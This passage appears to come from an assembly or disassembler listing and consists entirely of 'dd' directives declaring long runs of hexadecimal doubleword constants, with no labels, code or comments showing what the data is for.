0B00D75DEh dd 145B5A8h, 11ED3597h, 73158019h, 487D69B5h, 0B212F541h dd 2FECE149h, 2E801A9Eh, 0F6F79B8Fh, 0E41858E0h, 0C15CBDAAh dd 0C38B251Ah, 0E140117Eh, 3D87CC6Ch, 1D8B207Ah, 3B04EB25h dd 5FDBB85Eh, 0EC800D9Bh, 5B1ECCB5h, 7127CF2Eh, 4AB50515h dd 956FD8C4h, 1037F26h, 0B12F3220h, 68E72A58h, 54E1DDA0h dd 40F79500h, 50539BFBh, 84D94EB1h, 0C94580A5h, 19977DD2h dd 8DD93101h, 975B6C64h, 30108B7h, 0A678E609h, 2F200178h dd 0D958D17h, 0B8A92756h, 1C00CCB8h, 36A1D62Bh, 0B8501A89h dd 8222E223h, 442D702h, 1DC1DF4h, 0F8CB8454h, 6025D687h dd 0B2C4F09Bh, 0CADE0349h, 7F8E34C0h, 85A0FCF1h, 5F833315h dd 0B766EBCh, 71CE0375h, 0F8019325h, 408091A2h, 8E35E9ECh dd 0F41AC0EFh, 0DC6C7C1Ch, 3E35A5FAh, 95BCB23Dh, 0A0CD6569h dd 0DBE790C1h, 0B36157D6h, 2B590020h, 3049248Dh, 21794212h dd 2AEC255Ah, 0BBB99ACh, 1415B50h, 0AE3C4DE4h, 30F5A263h dd 2538969h, 3DCE4099h, 206F2441h, 0DBEE1FCCh, 0D7B8EC00h dd 47783D39h, 9FEA2471h, 0CC31B665h, 53A42BFEh, 7D4BABEh dd 80345AEFh, 81901479h, 542B5D6Bh, 0A6EBE51h, 45F6E204h dd 854DC702h, 1580433h, 800F031Eh, 4B33760Ch, 0ADF43189h dd 29C9482Ah, 0FD2E3AB4h, 21C42DDCh, 470246E3h, 0F1FCD7B9h dd 3798893Ah, 471A8005h, 186A7943h, 2365AEC5h, 6AFF9774h dd 9DD92448h, 4D95D104h, 103F104h, 25ED8529h, 16A24426h dd 25FE4030h, 75C350D8h, 37AA2E69h, 188680ECh, 4C256463h dd 0A8FDDC1Bh, 5FF4A4A4h, 0B9AD5D95h, 80519B4Ah, 0EEE72D8Ch dd 1FA1FE73h, 4027214h, 0A11D9D89h, 1A4292F8h, 181C6EBEh dd 81FF718Dh, 0A2A703C1h, 0D3E97AE6h, 41A0275Ah, 176BB8D6h dd 0DB6A61CFh, 0A351C7E1h, 413578E9h, 679420Eh, 15C70927h dd 0AF28D9DBh, 0D10940B7h, 0E451A4h, 9B9F84E8h, 0F0BC6627h dd 0B31D9640h, 0D5190E1Ah, 74A1B4C3h, 7D6AA97Bh, 7F93BC49h dd 87D10BE7h, 0E2062729h, 0DB95E76Dh, 0F03C7024h, 0F95C6D04h dd 65ED8D09h, 576DA87Ch, 649100CAh, 0C58A69A3h, 2DE06DBEh dd 0C08B2812h, 0CC28BB6Fh, 7AFB5AF4h, 0EED10FBh, 6AEA5784h dd 0F8112042h, 68B585E6h, 2D002FA2h, 5AEBE3B7h, 897DAA78h dd 0F373AB1Dh, 265D4042h, 0DCDAF6BFh, 2070A2FAh, 0F28B621Ah dd 65B0F6E2h, 32A2C203h, 0F1558209h, 52F6092Eh, 0E802864h dd 0A0184E9Ch, 9B2404F4h, 356A782Eh, 70B58801h, 42058EDAh dd 88498D3Ah, 418C0F54h, 8572D780h, 759D8B16h, 33163AE2h dd 87BB87Ch, 610BA995h, 840E8B0Fh, 8D016041h, 7C4C8EE9h dd 61264D22h, 0F99D9790h, 0C0BDCD6Fh, 0F072E251h, 0A006B2C8h dd 2F7528A1h, 9D332567h dd 54491076h, 0D5ADEC5h, 18B25AE6h, 1939F630h, 0F71742CEh dd 4EFCC68Dh, 6DB58982h, 6BD12504h, 29D40253h, 0A19458Dh dd 2015088Eh, 99314125h, 899D0910h, 2CD0864h, 38C9ED9Bh dd 3A308CE1h, 0CDC23120h, 40D39C90h, 543FBA4Fh, 0CB7D5B00h dd 0BFED3A33h, 803A9950h, 5630D219h, 904A0779h, 7A837BDBh dd 1A894E3Ah, 0ADD442B6h, 0CD272D56h, 6B9C1CEh, 0BD33F487h dd 17167D20h, 0E20DFFE9h, 7C3DC4C6h, 0C3CA9A24h, 9C96BC94h dd 0F20037F2h, 0AB80F677h, 0C0058D8h, 0B8403E7Eh, 93E1ACCBh dd 0B161783Dh, 0F675C524h, 24E59D13h, 0C6E1E340h, 0A8B79DE7h dd 5F180280h, 12A3EDD6h, 24B47740h, 9B5195E9h, 46D8C020h dd 250B35BFh, 2A6C4393h, 5BD39A0h, 45887594h, 364C2522h dd 11E922h, 4331367Ch, 0D6BD6D83h, 324C7300h, 0EC8B5FA3h dd 0CC425F88h, 0BD7729DAh, 88BE619Ch, 8F02840Fh, 0B5225DB3h dd 3D7F0A59h, 88D50E9Bh, 15606C41h, 0C080CC5Ah, 0F8372B4Bh dd 61BA8265h, 1304D95h, 636C49E9h, 518D310Ch, 0E8E0B0FBh dd 11E0944h, 186DF473h, 0D4252770h, 0BD5FFCh, 35E4D72Eh dd 27D412Ah, 0F4DEDFD4h, 235B1C99h, 0D207AA42h, 0B3C85007h dd 0BDC49761h, 73971598h, 8529092Fh, 0C18B6768h, 128DBB3Ch dd 42EF3DA9h, 3CDBF00h, 0AFB69A78h, 0D1C82B0Bh, 0EA5100C5h dd 0C989CAFFh, 8B4A660Ah, 0D106D1D8h, 24AA5753h, 0BA65BFEh dd 1DC929B5h, 0A041520h, 0C81631B9h, 2300799Bh, 4B01933Eh dd 1E6E76h, 0D2965205h, 57BB27F7h, 226D5919h, 5C3D8568h dd 96DD9050h, 60BF260Ch, 2F74AEC7h, 10716427h, 7BC4F20h dd 0B7924703h, 0F07A207Eh, 812CC01Bh, 0BB24855Fh, 88D68D16h dd 3E2BE012h, 3B40919Dh, 75BED051h, 6E8C2BCEh, 175369E9h dd 0EB816EB0h, 0B0D7E50Eh, 3CC7C77Bh, 743F7C22h, 890F6255h dd 0D04E5A46h, 2A843091h, 0BD958910h, 9825FF96h, 2CF810Bh dd 6F0B1FCBh, 2985A583h, 8D1881FEh, 79890214h, 0D9C425F3h dd 9926B5FEh, 601C850Fh, 0BAD35967h, 8061F383h, 6A42FE5h dd 1D0AE9h, 0D48AD1B1h, 8250F936h, 6ECB602Dh, 0BCB597D7h dd 8B603E02h, 0E34AC0DAh, 61D90D47h, 7AEAFAB9h, 271E26Fh dd 0CC6F5DABh, 7CFE4538h, 3510BFC8h, 9DFCB740h, 0D012F3B7h dd 0FCD97504h, 49DF9CDBh, 1957B8E5h, 2C23584h, 0BC40D22Bh dd 331AADDEh, 805CD1C2h, 7504E90Eh, 401DBCF4h, 0D68F330Eh dd 0FAEC5D00h, 28C1A416h, 0D6B017Ah, 0FB1039D0h, 86AF47CBh dd 31393588h, 0F6D95595h, 51B94E1h, 2398D81Ch, 7CA18D19h dd 0A76D9F2Dh, 0BC9BC6E0h, 4AFC042Fh, 0C1B8C4FAh, 141488D1h dd 542420FAh, 34FC9830h, 86792700h, 80F1C575h, 5B9316D7h dd 180DF050h, 8C10337h, 608A958Eh, 800F5819h, 664FC104h dd 2FAE26BBh, 0CE80D8DBh, 5B43C9CCh, 0DF36B205h, 0CDC15AB3h dd 222F0611h, 0B82519F9h, 40B17598h, 0E7E28D15h, 51204F41h dd 0FF054025h, 0B94CE162h, 0A7F41922h, 46437BBh, 807FACE9h dd 1A62CB9Dh, 14030A4h, 20628ADFh, 0FC030F11h, 5F8A9A86h dd 2CC0B7EDh, 4F2E4E0h, 33609161h, 0A057EA9Dh, 7AC007E8h dd 0D3B2E6F3h, 49A0D48h, 606159F2h, 0C326EABh, 0F03814B7h dd 6944EA99h, 8DE5437h, 14E8D910h, 0A14B508Ch, 92F704E7h dd 0DB04E180h, 0A26C265h, 8DBB82C9h, 80ACBD01h, 595F011Fh dd 0DCD3C8B9h, 6517A04h, 29E858E9h, 0DC02FEFEh, 0E5853077h dd 2EB66DDh, 0A1962311h, 940F476h, 331707ADh, 0B4402985h dd 0E0E7EF81h, 504A121Eh, 0A618958Ah, 0F0F3E3AEh, 2929A9Dh dd 0B509576Ch, 0F8021A11h, 4009726Ah, 90BF5221h, 0FD4C91h dd 0E1F16AD8h, 5BC69BA0h, 0FB36807h, 8F342E64h, 0CC8AAAh dd 1913ECE4h, 1BDD7Ch, 5A228F3Fh, 9E14ADA9h, 24348101h dd 2E7B0C4Ch, 7EB9AA29h, 8DCDAE94h, 132AA971h, 998E0402h dd 169EAA2Dh, 0D5CA8380h, 330B1836h, 98548A51h, 1F96ADC4h dd 0CB2578BBh, 7304F3B8h, 5F534702h, 25AFD019h, 0E3EDE7F8h dd 7B7F38E0h, 0B3D9958Ah, 1BAE904h, 7AC159DEh, 20F58243h dd 9DD69D6Ah, 19255304h, 180BC70Eh, 0F6018B19h, 0A15040FAh dd 35279D18h, 45C8A51Bh, 9954B259h, 6FFFE4C3h, 0AB480089h dd 314FB320h, 8D7E5C9Ah, 41C4335Bh, 5EC4A758h, 2E0E3F6h dd 0B3053035h, 0BE9E5B5Fh, 849DBB83h, 0F630DA49h, 495C8D09h dd 44685E5h, 0BB8D6BDh, 96185A1Dh, 0FFA64EB9h, 77E13EF0h dd 0D2949F16h, 0C615A5A1h, 0CDC0D09Bh, 12E31071h, 686DCC07h dd 0B930C07Ch, 988159B3h, 4383022Fh, 8DF846B6h, 1864634Dh dd 58B89760h, 0BB556C00h, 5DE31ECAh, 789B090h, 13BF6650h dd 19378935h, 886F5980h, 259E6ACFh, 808AE6BFh, 876CBFDh dd 0D38D1CDCh, 0C005D231h, 0C2DB80F0h, 376E614Ah, 9AA56418h dd 0F402BBFBh, 0C734209Ah, 0D107E685h, 28BDB02Fh, 0CF0216D3h dd 416D7CF0h, 0D6832006h, 423C615Ch, 2D7B59E1h, 0D821F35Eh dd 0CB161988h, 1608293Fh, 4FE90B0Ah, 5FDA4873h, 8EE2D381h dd 1E5F731Dh, 9D4062EAh, 0BFDB44Ch, 9DD295BDh, 30505F07h dd 4407110Ch, 0E8C10130h, 0EA4F510h, 894C1FC4h, 0DC485803h dd 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h, 58180621h dd 57016813h, 5903491Bh, 0D4AA80C0h, 2B96C277h, 8503B8F6h dd 7B958635h, 36BF5091h, 8880204h, 85A014DFh, 0AE828219h dd 452925h, 5F03FC89h, 28012C3Dh, 1B2D9D8Bh, 13478404h dd 80FEE82Fh, 0A2EFDCD6h, 80510089h, 3FAD42BCh, 0B0B26E1h dd 0D4C40754h, 0AEAB042Dh, 4DDF05Fh, 419AEBBCh, 993B615Dh dd 106C710h, 330484E1h, 0F8A0219Dh, 8E0F2C96h, 14B741BDh dd 0F2B52150h, 49377Dh, 312AF5Bh, 0A56659Dh, 0CBB65F71h dd 52E2D0E3h, 0B77D907Dh, 39902DEh, 5BBA1B92h, 2A098081h dd 81315BE4h, 0BB66387Ah, 9B5920CDh, 0CCB8B569h, 104A7204h dd 7C4009E9h, 0F4A230DEh, 0F9C7120Ah, 963AE017h, 9A05B915h dd 5F6F3165h, 0A8A08512h, 760D22ADh, 64D2709h, 0C486A2C8h dd 72DE3AE1h, 4B55E393h, 6EAEBB34h, 82800A7h, 94CC8B7Fh dd 5C517009h, 0A45A256Dh, 8313F853h, 1BC04C2h, 205089C2h dd 0E3B569ECh, 0B3894C32h, 0A20CD412h, 322F2013h, 0B8FE6CB3h dd 931A911Fh, 0C48C32EAh, 7EA14761h, 3C7ADD52h, 2347E1Fh dd 0B0C1DC10h, 1610960h, 856C3185h, 81C2040Ah, 0BF3AF9DEh dd 0CD12FEFEh, 0E821500Ch, 46972434h, 67288420h, 0E2F22660h dd 7468D5BDh, 0EB068161h, 6D6AAECAh, 90115E60h, 0DF9BDBCh dd 5446F89Ch, 82605FC5h, 2B001DE1h, 0CD2EC595h, 8885504Fh dd 271E5925h, 3B00A064h, 359352F0h, 2DC812C7h, 0CE44F253h dd 0EEA37300h, 30E71FD7h, 31BB0095h, 0ED703EAEh, 592A438Dh dd 2E7F1761h, 639BAB00h, 0DF8DB139h, 0C2381C03h, 465ECA1Fh dd 0F380417Eh, 7DE0881Eh, 13C22802h, 48783D3h, 0CACD9BF6h dd 789A4B56h, 7CA6580h, 4C047EAAh, 53F20ECFh, 0C07427AFh dd 0C2E5CF9h, 0C0057400h, 1E3E94CBh, 0C3810015h, 326B02B0h dd 1019BF5Bh, 71B12052h, 9BCB126Eh, 8E30825Ah, 90EAFE03h dd 226E580Bh, 302149C2h, 6BF10228h, 0FFCD3D62h, 0D986D5C0h dd 564C01FCh, 0AEFE7ABBh, 9D9A421Dh, 7890E7F2h, 251EB520h dd 7F73C6F9h, 669ED0h, 0C6AEC941h, 93BCBFB4h, 0E5200B98h dd 85C7130Dh, 705BEC71h dd 6455EF9Dh, 0FDA98392h, 23E9590Bh, 0F40476F3h, 0C44DDC05h dd 0C3B19005h, 130C1C9h, 0CF61D0D5h, 9B73957Bh, 0E2FE8B09h dd 0E0BA4D5Dh, 0F1A9965Bh, 1E2661Fh, 0BF4CF4C0h, 6C169323h dd 0DF76546Ah, 648D0BCBh, 0D6BF0049h, 0B52957DEh, 90CD1F11h dd 8CC09E5Fh, 523797E8h, 0CDCE0A80h, 781C13Fh, 0DF7DB4CFh dd 2DCB600Ch, 644FF2E5h, 0FC158620h, 0AF460068h, 0A08C7017h dd 9409BF1Ch, 78B5A9B2h, 8EA1A006h, 58920718h, 1B9D0156h dd 905B0322h, 4D0A807Fh, 8006F921h, 0ACA1585Ah, 1476FED8h dd 973DE10h, 1DBD0B61h, 0DE5EE4E3h, 209D5D98h, 0D09002DDh dd 92CF6948h, 0FE6FBBh, 88571F87h, 97F88FC7h, 1D91FF35h dd 0AD506A80h, 6F024515h, 0F6286D44h, 57888C23h, 8DFA388Bh dd 0F23BA3DEh, 1C16301Ah, 3027551Ch, 0D1FF93C4h, 63A203BCh dd 35D22B27h, 287B3218h, 1D61150h, 0C95BD03Fh, 420A6730h dd 0C65550DDh, 855E5EF9h, 8974F296h, 3E195D61h, 0E5CC3ADDh dd 89035890h, 0B29B2520h, 3051B584h, 0B8A0E904h, 8C0AE1CDh dd 0F729C304h, 745EFB9Ah, 8DCF4BDCh, 6E202E95h, 0EFF8E3h dd 54F40CAEh, 55C2DE3Eh, 0F96A4590h, 0BB8171B5h, 3B2F6FC3h dd 53E205h, 1E549449h, 1F5B4853h, 8E0FB5C1h, 55F26160h dd 3F069084h, 3F402559h, 5FC44E80h, 0E780E200h, 3894BDCBh dd 0C86C01FDh, 0CA8D2A7Dh, 2FC73EBFh, 0D1B6FE40h, 565F6414h dd 96A9B990h, 0A803DF08h, 98F84BB5h, 0BF05FCA6h, 127B268h dd 0FB2764EBh, 64860C4h, 0FF6A092Ch, 5B809137h, 894CE084h dd 75780BEBh, 7FF84D87h, 3BBB2D96h, 0CFA05C6Dh, 957A9206h dd 553D100h, 9DD38275h, 0F640D09Ch, 2C66B85h, 0B38197AFh dd 0C35C5BC7h, 435412C4h, 0B058F45Bh, 6A02BFE0h, 0E6324298h dd 288FFF70h, 0BAA271CBh, 0EC77246Dh, 547997D0h, 0C9B96164h dd 4CADF29h, 0AAF5C8B6h, 58BF648Ch, 894850F8h, 0FC161116h dd 0C4B38419h, 9DD742FAh, 0EC57198Dh, 90550148h, 8603ED36h dd 5AC83E6Fh, 0C7C84B2Bh, 7A562909h, 3D03B23Dh, 0FC8A2202h dd 99D614E2h, 0BD9D2B82h, 4B845229h, 87B85DFh, 0F59A01FDh dd 2433A814h, 72F88B09h, 0E921447Eh, 1241344h, 224E067Eh dd 0DCA564E3h, 481E9995h, 43023151h, 795B23C4h, 98626CEh dd 2B74D4E2h, 0E335626Dh, 377F222Bh, 0A5A5FC27h, 3DFE150Ah dd 0B3D91780h, 386D2316h, 4D1E715Dh, 0CBBBC0A0h, 328B05C1h dd 12B723B8h, 914F831Ah, 0E60D4902h, 98CCA4Ah, 0F5E8187Bh dd 739FF737h, 531D95h, 50218AACh, 7F9981Ah, 9314D0D2h dd 15A760B7h, 0F52ED617h, 0C912EE66h, 1E5FA2E2h, 0E14D92E8h dd 247B3FAFh, 0E5050273h, 0D26B95Dh, 1FE63DDDh, 806F012Dh dd 8FDC922Ah, 696A8AA0h, 916C077Ch, 2CA971C9h, 1E850874h dd 10F1D83Bh, 8C4A2649h, 48BD8599h, 99BAF80Ch, 0C8E8871h dd 0ADBC8845h, 4A8FA9D3h, 9B5F8CCFh, 0FF8480A6h, 0FD33E4h dd 0E161465h, 2B59509h, 3938BF80h, 894B0B26h, 0E5C82EA1h dd 0D59B0025h, 32E7C19Dh, 390694BCh, 8F4104Ch, 0E8D2734h dd 3C82F71Ah, 0B25C2AADh, 93C781E0h, 207325A3h, 0DB6979C5h dd 85D47096h, 40C4512Dh, 1224BB14h, 0E2133902h, 0C63D8971h dd 0A712053h, 0C2FDE581h, 0E6356105h, 0C727EB04h, 53CB7DB8h dd 2E40EA5Eh, 362FC87h, 0DF1CC020h, 18995CD8h, 285BC592h dd 0E1FF0A19h, 2A169529h, 958B53DDh, 19D4049Bh, 0B28304F4h dd 81D639AEh, 58150D4Fh, 0CC830133h, 9FEC89B9h, 6E1F8804h dd 99C4FE25h, 0DBE032AEh, 1651C05Ch, 3F60FC11h, 9880569Bh dd 6F0B8F1Eh, 943E6A00h, 0BD2B8063h, 3E1C4539h, 0AAC05D9Eh dd 79FDDF27h, 4B58DC38h, 8D298F80h, 0B4C9D205h, 14F4F79h dd 0BAA422A7h, 4060B7C2h, 99022131h, 252490D8h, 9C8C4661h dd 526625D4h, 0BB0B567Ah, 905F0527h, 20A7D9E4h, 514A358Eh dd 0D9886435h, 836C960h, 0D725E6D0h, 0DE2CDE61h, 0B8CFA60Ah dd 510BBDA0h, 0D1819009h, 0F0298104h, 15F90879h, 1806EFAh dd 0BFA67F8Dh, 19E1E6BEh, 12E98A31h, 3872E802h, 1F03FF1Ch dd 0D0A5DC32h, 31CDEA6Ch, 0B3578B63h, 0B087DB01h, 4AAB4189h dd 0F9BF6FA0h, 4509D175h, 50FD8A58h, 9B6FB564h, 21BA406Eh dd 66B060h, 0E0576733h, 5C59531h, 29EDBB92h, 58CC4A47h dd 0DE109F60h, 0A200D60Ah, 0D1DDE2EAh, 16A380BEh, 0CD867A65h dd 0ED716067h, 0E96100E7h, 0BFDB9F9h, 0A2293585h, 8BA03B59h dd 602CB7F2h, 27185803h, 9761D123h, 2EFB4331h, 24FD3F35h dd 4205ADB8h, 9F2272F4h, 499221AFh, 358C3B41h, 1602726Bh dd 94DAF1B5h, 0EE34AF05h, 2E6CBCC0h, 5F542DE4h, 8A257946h dd 9780C6D9h, 0ADEAD6E4h, 0CEA99D03h, 573D380h, 0F96006AAh dd 3870929h, 362B112h, 0C9B7942Ah, 41EF3D58h, 21EF9A4h dd 0A545595Bh, 0A8897A42h, 7300E6F9h, 0F1392302h, 0BF73996h dd 598EE601h, 0F96AAB3Ah, 80426CB4h, 0AC8374E2h, 31A53DB9h dd 0F2472380h, 5FDE0512h, 93615C2Dh, 1225AACAh, 51DBE529h dd 1EAA478h, 7EB556D4h, 0EEB6CE25h, 89D846C1h, 36243568h dd 0DFFD25ACh, 0A1616FD4h, 0F6404711h, 3F1319C0h, 4182D414h dd 9565247Bh, 0AA15C798h, 544EEAF4h, 0CA4DA520h, 2CDD077Fh dd 195FA8C0h, 4A5D519h, 0AD806FFCh, 494ECF8Ch, 91B7BC09h dd 0D8DE125Fh, 8DC64A4Dh, 0C561E947h, 4DB3A58h, 0B8232584h dd 0B589C1BFh, 0A86906D5h, 4DA7DE21h, 2142404Ah, 0EB056698h dd 947905FFh, 0F428AD05h, 12005BA2h, 0E55827EDh, 0A8004972h dd 4470DF84h, 9B7CFFCCh, 81D264Fh, 61041871h, 95E853F8h dd 7C15CA80h, 73032439h, 0D88B591Ah, 81B88C5Bh, 45B509B0h dd 1495239Ah, 9D3E705Ch, 49D05153h, 27E976EFh, 4D90B06Ah dd 44F25D5Ch, 8EF4FE00h, 0FABCD83Fh, 0A1952A89h, 5DE948B6h dd 0B8D98B84h, 4794EB3Ch, 481BF18h, 0AA0B01F1h, 37610A70h dd 0AEA482B0h, 0A4E1633Bh, 85110ADAh, 0DE206540h, 0A6ADDC2Dh dd 75D224F3h, 57FC5642h, 0F1110269h, 520F540Eh, 8909D74Ch dd 0E82349BDh, 8127A5BBh, 38352E61h, 0EBE4DDB6h, 9401F88h dd 46421761h, 0BFA0BC59h, 0C63F1125h, 7003BB5Bh, 0C2010F76h dd 4916695Ch, 5C89FD54h, 0D80132D8h, 239636F4h, 0DB1500B6h dd 2B03C00Dh, 13394C4Fh, 53505B09h, 0D5EEDBE4h, 0A7934405h dd 0A2BC849Fh, 967E09D2h, 3DCD37Eh, 85AC6FBDh, 2A9F339h dd 9C6B2E47h, 0F4001B23h, 0ABA2F1ADh, 0FB382632h, 0C4691681h dd 0C39AAC6Ch, 0B4FD9D33h, 6ED71ABDh, 4A804D87h, 9B3D6BDDh dd 0B5E62EA9h, 0F3816602h, 675C0EAFh, 0B19D8B60h, 73AB71Eh dd 0B0804BB7h, 1660179Fh, 0A05D04C2h, 8450D7C7h, 19CBBB8Ah dd 53C25F25h, 4DCDB7Eh, 0D98D01C4h, 0A5B09717h, 0B82AAD20h dd 0C5D52793h, 8756CE1Ah, 0DC8BD469h, 0D148A00h, 8409A153h dd 0AE9226Eh, 466FBB5h, 0B814BD4Bh, 0B6A75FB1h, 3CC900B5h dd 49EC7A0Bh, 202DCD90h, 0D72727A8h, 888DFEF4h, 0F0FDA66Eh dd 0E7C6623h, 0D7640560h, 0E3BFC165h, 3DAD4CF6h, 22E60396h dd 0BC503555h, 19D6EFFh, 0B74A1307h, 2A3A67A6h, 94748480h dd 0A9D3CCB8h, 1AFB841h, 99295110h, 6B7F03F4h, 413DABF0h dd 613E3402h, 45FA1497h, 0F1C26A12h, 8A500124h, 626C28D9h dd 742BF946h, 0AE0457F6h, 0D3B8F838h, 19BD29C1h, 3E305904h dd 8200B1B3h, 38A4DF18h dd 500085EDh, 362371BEh, 3C033B0Eh, 20CA7DF4h, 192A0163h dd 2C48527h, 0A1A45DAh, 0A8D80136h, 2E5B61BDh, 0F26BBD75h dd 0B0149773h, 78893A45h, 89732B09h, 1F789BA3h, 55D0A2BBh dd 62237F27h, 0C6052D75h, 71FEDF49h, 79F06988h, 53E92BC4h dd 0B04B6CB8h, 0C7BF1C31h, 601AE41Eh, 83D09h, 0C9114B7Ah dd 24659D2Bh, 0B1C5FB95h, 11BD118h, 0F5C95090h, 504970A8h dd 2EF805FFh, 4C489D31h, 9A2FC740h, 0ECEE9E8h, 3A0B892Bh dd 2F7D8604h, 0E2506104h, 8D9B005Ah, 0A2F94831h, 0A14F03A3h dd 63C3EA2Dh, 0C22879A8h, 16112F5Ch, 53FB2173h, 0E085B660h dd 92923B2h, 46A6CEBBh, 0D1446D5Ch, 104D26EFh, 46FDA5F3h dd 0C78102FCh, 4C58BC0Ch, 35E9D556h, 0CA689FAFh, 12D962B1h dd 0DE50C832h, 48E4C607h, 2EB5B2h, 21190EC4h, 521C0085h dd 0BD2BD1FFh, 67951D69h, 513B11F2h, 2A0DC917h, 19C8F2CFh dd 0FCFB83C0h, 0EEFB016h, 50FAD380h, 6492C234h, 0E95690D4h dd 96950E8Eh, 9AD12FC7h, 82D05ADBh, 7AA50028h, 746DD8C6h dd 0B5792964h, 9D0490B9h, 9EAA0235h, 0E99882A4h, 9D87614h dd 8E565BFAh, 4E1A46D6h, 5FE90232h, 0EB0CFE6Eh, 7290B1BDh dd 390D1DBBh, 0F87BA5Bh, 0D973ED3Bh, 0BDCC67Ch, 860F3A28h dd 834278E4h, 0E9FC25Fh, 230BE802h, 0D5D8E5C9h, 0EC046693h dd 2D8D5F95h, 0EDA111FFh, 19329779h, 16A637DFh, 1F8EC1B6h dd 61EA609Fh, 60343297h, 9F0DB929h, 0DE6988D9h, 6A27D43Dh dd 0AD75D9ECh, 1C655FF8h, 548CFF53h, 822900B8h, 2E41457Fh dd 0CA6F2C5Fh, 772A209Eh, 5813229Eh, 111672F7h, 0E862BD18h dd 2F8C4841h, 27CCDA25h, 890F11F5h, 205A8832h, 1F3D7654h dd 176D8D00h, 29582B5Eh, 0D21A1AE2h, 43D7B0h, 70E6D614h dd 990B1EB0h, 0F9A07112h, 91394B24h, 0C013129h, 4534B829h dd 41950D21h, 2A0ED5ACh, 203FF2D9h, 12DCAB9Bh, 0CE605F07h dd 0FC5254Bh, 0BB8220AAh, 202C9703h, 60255174h, 0BD8D314Ah dd 4E5AA829h, 0C82BDF12h, 0A4038B08h, 4B49162Fh, 80924513h dd 1F986475h, 0D6615A57h, 55F388D1h, 6F28FC00h, 9FDA0321h dd 82E72491h, 0F038025Ch, 73D9E949h, 0DF54D701h, 0ED60424Ah dd 0ED254FC5h, 0B0788021h, 9747E6EEh, 997630Ah, 0DE562221h dd 15955E4Bh, 5B25B8A5h, 122C62C9h, 0E57BC151h, 0E95F3586h dd 449F1B78h, 141F0038h, 0D531980h, 20068A8h, 44EAF4BAh dd 18DA267Eh, 48327264h, 69D60A19h, 51CB7CECh, 0E5DB9B18h dd 80EED33Dh, 0C060914Eh, 76675Ch, 1C3EA262h, 0DEB768FDh dd 34C5F71h, 0E6B57091h, 28842299h, 0A36FA794h, 2803F985h dd 483DA52Bh, 0E7092FFEh, 3BDC8919h, 4BD9AA4Ch, 107B8A1Dh dd 8159272Ah, 3FA3E55Ah, 0B6C52F9Bh, 0E6D630E5h, 0A725D421h dd 0BF67CE06h, 44251F35h, 538025ABh, 0B17795E4h, 852A6500h dd 28637CD7h, 1CD6049Ch, 0A40817B9h, 2F4BE1BEh, 0BA305389h dd 0DE1841B1h, 0D970F35Bh, 43A500E3h, 4F6DF597h, 5995870Fh dd 0A79A407Ah, 91C3BBCh, 0E3EEC02Bh, 277C5969h, 0EF8BA5E1h dd 89F7EFA0h, 0CD5BE825h, 6735A775h, 209F780h, 4F87F5D1h dd 80229BCDh, 0F3EE7BDh, 0CBD704FAh, 0B8F8494Dh, 16F938Eh dd 0A8C8EB13h, 1E34C0DAh, 4FED6DB3h, 0F94B75F5h, 0E66EA9D3h dd 0C4D7007Ah, 0FD8414BFh, 26BAB30Ch, 1E6D096Bh, 535A815Ch dd 5095535Eh, 0B2924069h, 81F6F4F0h, 5E638AA0h, 0AB359F05h dd 4BB2DBFh, 92AE1E5h, 44F471F9h, 0C7804147h, 0F7C2B814h dd 0B69C94BDh, 7FC14F8Bh, 5010888Eh, 4ED2DF6Ch, 0B938CADh dd 1A04E1ADh, 64BB4005h, 976546C6h, 9D44FE14h, 0D91497F5h dd 7520AA45h, 0BF1BC071h, 1056C278h, 44BA1497h, 0E9FA2B5Ch dd 74198BB7h, 7C02DEE1h, 0FAADDF57h, 0B1B682EDh, 0B8F40C03h dd 4725812h, 0B62FC1E1h, 0CED7E087h, 0F1664E10h, 39983F54h dd 14FD209Dh, 0DBCB8B95h, 0A6BC70DEh, 630E6E13h, 7C4F3C0Fh dd 0EBE42592h, 0AE73BD69h, 7D09D8h, 0BF7C13A1h, 725B5D67h dd 9D66CE95h, 2740244Dh, 26F44354h, 17B9E380h, 19CB8C81h dd 342E2D41h, 0F3D8AF0Fh, 0D36554BDh, 26519D90h, 39920900h dd 2EC80AE2h, 9B9F53Bh, 5138E954h, 6813AA02h, 0F8F05B52h dd 0ED744AB7h, 75D9208Fh, 0DAF96B90h, 212625Eh, 608D23B3h dd 0DBF33F40h, 3CBE0860h, 2465C995h, 7E178A13h, 0AC006DB2h dd 0F4A34180h, 360003DDh, 0EC34C62Eh, 1456483h, 615E22D8h dd 2B49B750h, 0EFA0245Bh, 52121F7Eh, 738C95FDh, 1A26B77Ah dd 0BF60315Ah, 7A9C26F6h, 79379729h, 4A1CDD00h, 1218D99Ah dd 0A35BF957h, 0CF8103D8h, 0F54CB66Eh, 5EF2BDB1h, 0CB5CE902h dd 0E9742701h, 0FBC201EBh, 2A5D7862h, 63FE6D0Eh, 0DC440432h dd 0A99305BCh, 0E21EBC3Dh, 0CD4D4B75h, 5A6E6A16h, 53EB1931h dd 35302F1Bh, 4A45BD33h, 0D76EE201h, 0B8A09BE6h, 91BC0689h dd 0F0E43ADCh, 86F3A6E1h, 76E326F5h, 12C4DF4Bh, 0D024C6Bh dd 0B2C147BFh, 6B6063C1h, 0BBCF9B20h, 21821DC3h, 413A8058h dd 3CE4AA55h, 0EC849700h, 2373DBB3h, 4B70BEh, 665E4013h dd 610F56B9h, 2942AEB6h, 0EB4CD515h, 0D9F8DD01h, 0BD9F56AEh dd 6C275EC2h, 0D301CBE6h, 3BFE68CCh, 0EE74241h, 5E38014Ch dd 30726FF7h, 0FC94D07Ch, 7A6348A3h, 72091D27h, 70A5B259h dd 90F48833h, 78BB0066h, 12BF50FAh, 0EEEB052Ah, 0E705FF3h dd 0B2780292h, 4DECBE05h, 0C7007E66h, 6E418544h, 7F1353F7h dd 1862CB6h, 9EE51569h, 6A735F25h, 61181459h, 2690F6DFh dd 0B407384Ch, 0DB38A39Eh, 809879B7h, 9518F18h, 6CC51EAEh dd 5C0038C4h, 0EDF1BED0h, 4AB5EB44h, 0A82C3271h, 9D801E57h dd 9303FBB5h, 9AB97F86h, 0C1B0FEB5h, 2F201985h, 8A182638h dd 5E8A4B98h, 0E4AC2003h, 0ED8F790Eh, 316B9ADh, 0B8D1D49Dh dd 1E94EB00h, 0AD0AAD16h, 30C9E977h, 0B7A5046Fh, 0A3FAB8D8h dd 0DA7BA5EBh, 59A14300h, 8B14FB1Bh, 16D04BE7h, 0DFFD03BBh dd 0E8006CE8h, 1B8763A9h, 5083F419h, 5F7DE32Ch, 23F46F23h dd 7750AD14h, 0C6250B9Eh, 5ABB0429h, 0BA1055E0h, 5C65E582h dd 